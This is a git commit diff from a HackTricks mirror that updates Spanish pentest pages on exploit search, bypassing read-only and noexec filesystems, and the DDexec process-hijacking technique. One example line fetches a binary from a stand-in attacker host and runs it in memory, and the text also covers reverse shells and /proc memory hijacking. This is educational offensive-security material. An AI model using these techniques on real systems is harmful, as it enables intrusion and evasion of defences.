mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['generic-methodologies-and-resources/search-exploits.md', 'l
This commit is contained in:
Translator
parent
c7eae4ceb2
commit
064a8280bf
24 changed files with 1362 additions and 1716 deletions
|
|
@ -1,4 +1,4 @@
|
|||
# Búsqueda de Exploits
|
||||
# Buscar Exploits
|
||||
|
||||
<details>
|
||||
|
||||
|
|
@ -6,31 +6,31 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, potenciados por las herramientas comunitarias **más avanzadas**.\
|
||||
Obtén Acceso Hoy:
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
¡Accede hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
### Navegador
|
||||
|
||||
Busca siempre en "google" u otros: **\<nombre_del_servicio> \[versión] exploit**
|
||||
Siempre busca en "google" u otros: **\<nombre\_del\_servicio> \[versión\] exploit**
|
||||
|
||||
También deberías probar la **búsqueda de exploits en shodan** desde [https://exploits.shodan.io/](https://exploits.shodan.io).
|
||||
También puedes probar la búsqueda de exploits de **shodan** en [https://exploits.shodan.io/](https://exploits.shodan.io).
|
||||
|
||||
### Searchsploit
|
||||
|
||||
Útil para buscar exploits para servicios en **exploitdb desde la consola.**
|
||||
Útil para buscar exploits de servicios en **exploitdb desde la consola.**
|
||||
```bash
|
||||
#Searchsploit tricks
|
||||
searchsploit "linux Kernel" #Example
|
||||
|
|
@ -63,8 +63,8 @@ Esto busca exploits en otras bases de datos: [https://sploitus.com/](https://spl
|
|||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, potenciados por las herramientas comunitarias **más avanzadas**.\
|
||||
Obtén Acceso Hoy:
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtén acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
|
@ -74,10 +74,10 @@ Obtén Acceso Hoy:
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,16 +1,16 @@
|
|||
# Evasión de protecciones FS: sistema de archivos de solo lectura / no ejecución / Distroless
|
||||
# Saltar las protecciones del sistema de archivos: solo lectura / sin ejecución / Distroless
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -18,12 +18,12 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
En los siguientes videos puedes encontrar las técnicas mencionadas en esta página explicadas más a fondo:
|
||||
|
||||
* [**DEF CON 31 - Explorando la manipulación de memoria en Linux para sigilo y evasión**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**Intrusiones sigilosas con DDexec-ng & dlopen() en memoria - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM_gjjiARaU)
|
||||
* [**DEF CON 31 - Explorando la Manipulación de Memoria en Linux para Sigilo y Evasión**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**Intrusiones sigilosas con DDexec-ng e in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
|
||||
## Escenario de solo lectura / no ejecución
|
||||
## Escenario de solo lectura / sin ejecución
|
||||
|
||||
Es cada vez más común encontrar máquinas linux montadas con protección de sistema de archivos de **solo lectura (ro)**, especialmente en contenedores. Esto se debe a que ejecutar un contenedor con sistema de archivos ro es tan fácil como configurar **`readOnlyRootFilesystem: true`** en el `securitycontext`:
|
||||
Es cada vez más común encontrar máquinas Linux montadas con **protección de sistema de archivos de solo lectura (ro)**, especialmente en contenedores. Esto se debe a que ejecutar un contenedor con sistema de archivos ro es tan fácil como establecer **`readOnlyRootFilesystem: true`** en el `securitycontext`:
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||
kind: Pod
|
||||
|
|
@ -38,103 +38,83 @@ securityContext:
|
|||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
</code></pre>
|
||||
|
||||
Sin embargo, incluso si el sistema de archivos está montado como ro, **`/dev/shm`** seguirá siendo escribible, por lo que es falso que no podamos escribir nada en el disco. Sin embargo, esta carpeta estará **montada con protección de no ejecución**, por lo que si descargas un binario aquí **no podrás ejecutarlo**.
|
||||
Sin embargo, incluso si el sistema de archivos está montado como ro, **`/dev/shm`** seguirá siendo escribible, por lo que es falso que no podamos escribir nada en el disco. Sin embargo, esta carpeta estará **montada con protección sin ejecución**, por lo que si descargas un binario aquí, **no podrás ejecutarlo**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Desde la perspectiva de un equipo rojo, esto hace que sea **complicado descargar y ejecutar** binarios que no están ya en el sistema (como puertas traseras o enumeradores como `kubectl`).
|
||||
Desde la perspectiva de un equipo rojo, esto hace que sea **complicado descargar y ejecutar** binarios que no estén en el sistema (como puertas traseras o enumeradores como `kubectl`).
|
||||
{% endhint %}
|
||||
|
||||
## Evasión más fácil: Scripts
|
||||
## Salto más fácil: Scripts
|
||||
|
||||
Nota que mencioné binarios, puedes **ejecutar cualquier script** siempre que el intérprete esté dentro de la máquina, como un **script de shell** si `sh` está presente o un **script de python** si `python` está instalado.
|
||||
Ten en cuenta que mencioné binarios, puedes **ejecutar cualquier script** siempre que el intérprete esté dentro de la máquina, como un **script de shell** si `sh` está presente o un **script de python** si `python` está instalado.
|
||||
|
||||
Sin embargo, esto no es suficiente para ejecutar tu puerta trasera binaria u otras herramientas binarias que puedas necesitar ejecutar.
|
||||
|
||||
## Evasiones de memoria
|
||||
## Saltos de Memoria
|
||||
|
||||
Si quieres ejecutar un binario pero el sistema de archivos no lo permite, la mejor manera de hacerlo es **ejecutándolo desde la memoria**, ya que las **protecciones no se aplican allí**.
|
||||
Si deseas ejecutar un binario pero el sistema de archivos no lo permite, la mejor manera de hacerlo es **ejecutándolo desde la memoria**, ya que las **protecciones no se aplican allí**.
|
||||
|
||||
### Evasión con FD + syscall exec
|
||||
### Salto de llamada al sistema FD + exec
|
||||
|
||||
Si tienes motores de script potentes dentro de la máquina, como **Python**, **Perl** o **Ruby**, podrías descargar el binario a ejecutar desde la memoria, almacenarlo en un descriptor de archivo de memoria (`create_memfd` syscall), que no va a estar protegido por esas protecciones y luego llamar a un **syscall `exec`** indicando el **fd como el archivo a ejecutar**.
|
||||
Si tienes motores de script potentes dentro de la máquina, como **Python**, **Perl** o **Ruby**, podrías descargar el binario para ejecutarlo desde la memoria, almacenarlo en un descriptor de archivo de memoria (`create_memfd` syscall), que no estará protegido por esas protecciones, y luego llamar a una **llamada al sistema `exec`** indicando el **fd como el archivo a ejecutar**.
|
||||
|
||||
Para esto puedes usar fácilmente el proyecto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Puedes pasarle un binario y generará un script en el lenguaje indicado con el **binario comprimido y codificado en b64** con las instrucciones para **decodificarlo y descomprimirlo** en un **fd** creado llamando al syscall `create_memfd` y una llamada al syscall **exec** para ejecutarlo.
|
||||
Para esto, puedes usar fácilmente el proyecto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Puedes pasarle un binario y generará un script en el lenguaje indicado con el **binario comprimido y codificado en b64** con las instrucciones para **decodificarlo y descomprimirlo** en un **fd** creado llamando a la llamada al sistema `create_memfd` y una llamada a la **llamada al sistema exec** para ejecutarlo.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Esto no funciona en otros lenguajes de scripting como PHP o Node porque no tienen ninguna manera **predeterminada de llamar a syscalls crudos** desde un script, por lo que no es posible llamar a `create_memfd` para crear el **fd de memoria** para almacenar el binario.
|
||||
Esto no funciona en otros lenguajes de script como PHP o Node porque no tienen ninguna forma **predeterminada de llamar a llamadas al sistema en bruto** desde un script, por lo que no es posible llamar a `create_memfd` para crear el **fd de memoria** para almacenar el binario.
|
||||
|
||||
Además, crear un **fd regular** con un archivo en `/dev/shm` no funcionará, ya que no se te permitirá ejecutarlo debido a que se aplicará la protección de **no ejecución**.
|
||||
Además, crear un **fd regular** con un archivo en `/dev/shm` no funcionará, ya que no se te permitirá ejecutarlo debido a que se aplicará la **protección sin ejecución**.
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) es una técnica que te permite **modificar la memoria de tu propio proceso** sobrescribiendo su **`/proc/self/mem`**.
|
||||
|
||||
Por lo tanto, **controlando el código ensamblador** que está siendo ejecutado por el proceso, puedes escribir un **shellcode** y "mutar" el proceso para **ejecutar cualquier código arbitrario**.
|
||||
Por lo tanto, **controlando el código de ensamblaje** que se está ejecutando por el proceso, puedes escribir un **código de shell** y "mutar" el proceso para **ejecutar cualquier código arbitrario**.
|
||||
|
||||
{% hint style="success" %}
|
||||
**DDexec / EverythingExec** te permitirá cargar y **ejecutar** tu propio **shellcode** o **cualquier binario** desde la **memoria**.
|
||||
**DDexec / EverythingExec** te permitirá cargar y **ejecutar** tu propio **código de shell** o **cualquier binario** desde la **memoria**.
|
||||
{% endhint %}
|
||||
```bash
|
||||
# Basic example
|
||||
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
|
||||
```
|
||||
Para obtener más información sobre esta técnica, consulta Github o:
|
||||
|
||||
{% content-ref url="ddexec.md" %}
|
||||
[ddexec.md](ddexec.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### MemExec
|
||||
|
||||
[**Memexec**](https://github.com/arget13/memexec) es el siguiente paso natural de DDexec. Es un **shellcode de DDexec demonizado**, así que cada vez que quieras **ejecutar un binario diferente** no necesitas relanzar DDexec, puedes simplemente ejecutar el shellcode de memexec a través de la técnica DDexec y luego **comunicarte con este demonio para pasar nuevos binarios para cargar y ejecutar**.
|
||||
[**Memexec**](https://github.com/arget13/memexec) es el siguiente paso natural de DDexec. Es un **demonio de shellcode DDexec**, por lo que cada vez que desees **ejecutar un binario diferente** no necesitas volver a lanzar DDexec, simplemente puedes ejecutar el shellcode de memexec a través de la técnica DDexec y luego **comunicarte con este demonio para pasar nuevos binarios para cargar y ejecutar**.
|
||||
|
||||
Puedes encontrar un ejemplo de cómo usar **memexec para ejecutar binarios desde un reverse shell de PHP** en [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||
Puedes encontrar un ejemplo de cómo usar **memexec para ejecutar binarios desde un shell inverso de PHP** en [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||
|
||||
### Memdlopen
|
||||
|
||||
Con un propósito similar al de DDexec, la técnica [**memdlopen**](https://github.com/arget13/memdlopen) permite una **forma más fácil de cargar binarios** en memoria para luego ejecutarlos. Incluso podría permitir cargar binarios con dependencias.
|
||||
Con un propósito similar a DDexec, la técnica [**memdlopen**](https://github.com/arget13/memdlopen) permite una **forma más fácil de cargar binarios** en memoria para luego ejecutarlos. Incluso podría permitir cargar binarios con dependencias.
|
||||
|
||||
## Bypass de Distroless
|
||||
|
||||
### Qué es distroless
|
||||
### ¿Qué es distroless?
|
||||
|
||||
Los contenedores distroless contienen solo los **componentes mínimos necesarios para ejecutar una aplicación o servicio específico**, como bibliotecas y dependencias de tiempo de ejecución, pero excluyen componentes más grandes como un gestor de paquetes, shell o utilidades del sistema.
|
||||
|
||||
El objetivo de los contenedores distroless es **reducir la superficie de ataque de los contenedores eliminando componentes innecesarios** y minimizando el número de vulnerabilidades que pueden ser explotadas.
|
||||
El objetivo de los contenedores distroless es **reducir la superficie de ataque de los contenedores al eliminar componentes innecesarios** y minimizar la cantidad de vulnerabilidades que pueden ser explotadas.
|
||||
|
||||
### Reverse Shell
|
||||
### Shell Inverso
|
||||
|
||||
En un contenedor distroless podrías **ni siquiera encontrar `sh` o `bash`** para obtener una shell regular. Tampoco encontrarás binarios como `ls`, `whoami`, `id`... todo lo que normalmente ejecutas en un sistema.
|
||||
En un contenedor distroless es posible que **ni siquiera encuentres `sh` o `bash`** para obtener un shell regular. Tampoco encontrarás binarios como `ls`, `whoami`, `id`... todo lo que sueles ejecutar en un sistema.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Por lo tanto, **no** podrás obtener un **reverse shell** o **enumerar** el sistema como lo haces normalmente.
|
||||
Por lo tanto, **no** podrás obtener un **shell inverso** o **enumerar** el sistema como sueles hacerlo.
|
||||
{% endhint %}
|
||||
|
||||
Sin embargo, si el contenedor comprometido está ejecutando, por ejemplo, una web flask, entonces python está instalado, y por lo tanto puedes obtener un **reverse shell de Python**. Si está ejecutando node, puedes obtener un rev shell de Node, y lo mismo con casi cualquier **lenguaje de scripting**.
|
||||
Sin embargo, si el contenedor comprometido está ejecutando, por ejemplo, una aplicación web flask, entonces Python está instalado y, por lo tanto, puedes obtener un **shell inverso de Python**. Si está ejecutando node, puedes obtener un shell inverso de Node, y lo mismo con la mayoría de los **lenguajes de script**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Usando el lenguaje de scripting podrías **enumerar el sistema** utilizando las capacidades del lenguaje.
|
||||
Usando el lenguaje de script podrías **enumerar el sistema** utilizando las capacidades del lenguaje.
|
||||
{% endhint %}
|
||||
|
||||
Si no hay protecciones de **solo lectura/sin ejecución**, podrías abusar de tu reverse shell para **escribir en el sistema de archivos tus binarios** y **ejecutarlos**.
|
||||
Si no hay protecciones de **`solo lectura/sin ejecución`** puedes abusar de tu shell inverso para **escribir en el sistema de archivos tus binarios** y **ejecutarlos**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Sin embargo, en este tipo de contenedores estas protecciones normalmente existirán, pero podrías usar las **técnicas de ejecución en memoria anteriores para eludirlas**.
|
||||
Sin embargo, en este tipo de contenedores estas protecciones generalmente existirán, pero podrías usar las **técnicas de ejecución en memoria anteriores para evadirlas**.
|
||||
{% endhint %}
|
||||
|
||||
Puedes encontrar **ejemplos** de cómo **explotar algunas vulnerabilidades de RCE** para obtener **reverse shells** de lenguajes de scripting y ejecutar binarios desde la memoria en [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de Github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
Puedes encontrar **ejemplos** de cómo **explotar algunas vulnerabilidades de RCE** para obtener **shells inversos de lenguajes de script** y ejecutar binarios desde la memoria en [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
|
|
|||
|
|
@ -2,29 +2,29 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
## Contexto
|
||||
|
||||
En Linux, para ejecutar un programa, debe existir como archivo y debe ser accesible de alguna manera a través de la jerarquía del sistema de archivos (esto es simplemente cómo funciona `execve()`). Este archivo puede residir en disco o en ram (tmpfs, memfd), pero necesitas una ruta de archivo. Esto ha facilitado mucho el control de lo que se ejecuta en un sistema Linux, facilita la detección de amenazas y herramientas de atacantes o prevenir que intenten ejecutar algo propio en absoluto (_por ejemplo_, no permitir a usuarios sin privilegios colocar archivos ejecutables en cualquier lugar).
|
||||
En Linux, para ejecutar un programa, este debe existir como un archivo, debe ser accesible de alguna manera a través de la jerarquía del sistema de archivos (así es como funciona `execve()`). Este archivo puede residir en disco o en la memoria RAM (tmpfs, memfd), pero necesitas una ruta de archivo. Esto ha hecho muy fácil controlar lo que se ejecuta en un sistema Linux, facilita detectar amenazas y herramientas de atacantes o prevenir que intenten ejecutar algo propio en absoluto (_por ejemplo_, no permitir que usuarios no privilegiados coloquen archivos ejecutables en cualquier lugar).
|
||||
|
||||
Pero esta técnica está aquí para cambiar todo eso. Si no puedes iniciar el proceso que deseas... **entonces secuestra uno ya existente**.
|
||||
Pero esta técnica está aquí para cambiar todo esto. Si no puedes iniciar el proceso que deseas... **entonces secuestras uno que ya existe**.
|
||||
|
||||
Esta técnica te permite **burlar técnicas de protección comunes como solo lectura, noexec, listas blancas de nombres de archivos, listas blancas de hashes...**
|
||||
Esta técnica te permite **burlar técnicas de protección comunes como solo lectura, noexec, lista blanca de nombres de archivo, lista blanca de hash...**
|
||||
|
||||
## Dependencias
|
||||
|
||||
El script final depende de las siguientes herramientas para funcionar, necesitan ser accesibles en el sistema que estás atacando (por defecto las encontrarás en todas partes):
|
||||
El script final depende de las siguientes herramientas para funcionar, estas deben ser accesibles en el sistema que estás atacando (por defecto las encontrarás en todas partes):
|
||||
```
|
||||
dd
|
||||
bash | zsh | ash (busybox)
|
||||
|
|
@ -40,53 +40,53 @@ base64
|
|||
```
|
||||
## La técnica
|
||||
|
||||
Si puedes modificar arbitrariamente la memoria de un proceso, entonces puedes tomar el control de él. Esto se puede utilizar para secuestrar un proceso ya existente y reemplazarlo con otro programa. Podemos lograr esto ya sea utilizando la llamada al sistema `ptrace()` (que requiere que tengas la capacidad de ejecutar llamadas al sistema o que tengas gdb disponible en el sistema) o, más interesantemente, escribiendo en `/proc/$pid/mem`.
|
||||
Si puedes modificar arbitrariamente la memoria de un proceso, puedes tomar el control de él. Esto se puede usar para secuestrar un proceso existente y reemplazarlo con otro programa. Podemos lograr esto ya sea usando la llamada al sistema `ptrace()` (lo cual requiere tener la capacidad de ejecutar llamadas al sistema o tener gdb disponible en el sistema) o, de manera más interesante, escribiendo en `/proc/$pid/mem`.
|
||||
|
||||
El archivo `/proc/$pid/mem` es un mapeo uno a uno de todo el espacio de direcciones de un proceso (_por ejemplo_, de `0x0000000000000000` a `0x7ffffffffffff000` en x86-64). Esto significa que leer o escribir en este archivo en un desplazamiento `x` es lo mismo que leer o modificar el contenido en la dirección virtual `x`.
|
||||
El archivo `/proc/$pid/mem` es un mapeo uno a uno de todo el espacio de direcciones de un proceso (por ejemplo, desde `0x0000000000000000` hasta `0x7ffffffffffff000` en x86-64). Esto significa que leer o escribir en este archivo en un desplazamiento `x` es lo mismo que leer o modificar el contenido en la dirección virtual `x`.
|
||||
|
||||
Ahora, tenemos cuatro problemas básicos que enfrentar:
|
||||
Ahora, tenemos cuatro problemas básicos a enfrentar:
|
||||
|
||||
* En general, solo root y el propietario del programa del archivo pueden modificarlo.
|
||||
* ASLR.
|
||||
* Si intentamos leer o escribir en una dirección no mapeada en el espacio de direcciones del programa, obtendremos un error de E/S.
|
||||
- En general, solo root y el propietario del programa del archivo pueden modificarlo.
|
||||
- ASLR.
|
||||
- Si intentamos leer o escribir en una dirección no mapeada en el espacio de direcciones del programa, obtendremos un error de E/S.
|
||||
|
||||
Estos problemas tienen soluciones que, aunque no son perfectas, son buenas:
|
||||
|
||||
* La mayoría de los intérpretes de comandos permiten la creación de descriptores de archivos que luego serán heredados por procesos hijos. Podemos crear un fd apuntando al archivo `mem` de la shell con permisos de escritura... así los procesos hijos que usen ese fd podrán modificar la memoria de la shell.
|
||||
* ASLR ni siquiera es un problema, podemos verificar el archivo `maps` de la shell o cualquier otro del procfs para obtener información sobre el espacio de direcciones del proceso.
|
||||
* Así que necesitamos hacer `lseek()` sobre el archivo. Desde la shell esto no se puede hacer a menos que se use el infame `dd`.
|
||||
- La mayoría de los intérpretes de shell permiten la creación de descriptores de archivo que luego serán heredados por los procesos secundarios. Podemos crear un descriptor de archivo que apunte al archivo `mem` de la shell con permisos de escritura... por lo tanto, los procesos secundarios que utilicen ese descriptor de archivo podrán modificar la memoria de la shell.
|
||||
- ASLR ni siquiera es un problema, podemos verificar el archivo `maps` de la shell o cualquier otro del procfs para obtener información sobre el espacio de direcciones del proceso.
|
||||
- Entonces necesitamos hacer `lseek()` sobre el archivo. Desde la shell esto no se puede hacer a menos que se use el infame `dd`.
|
||||
|
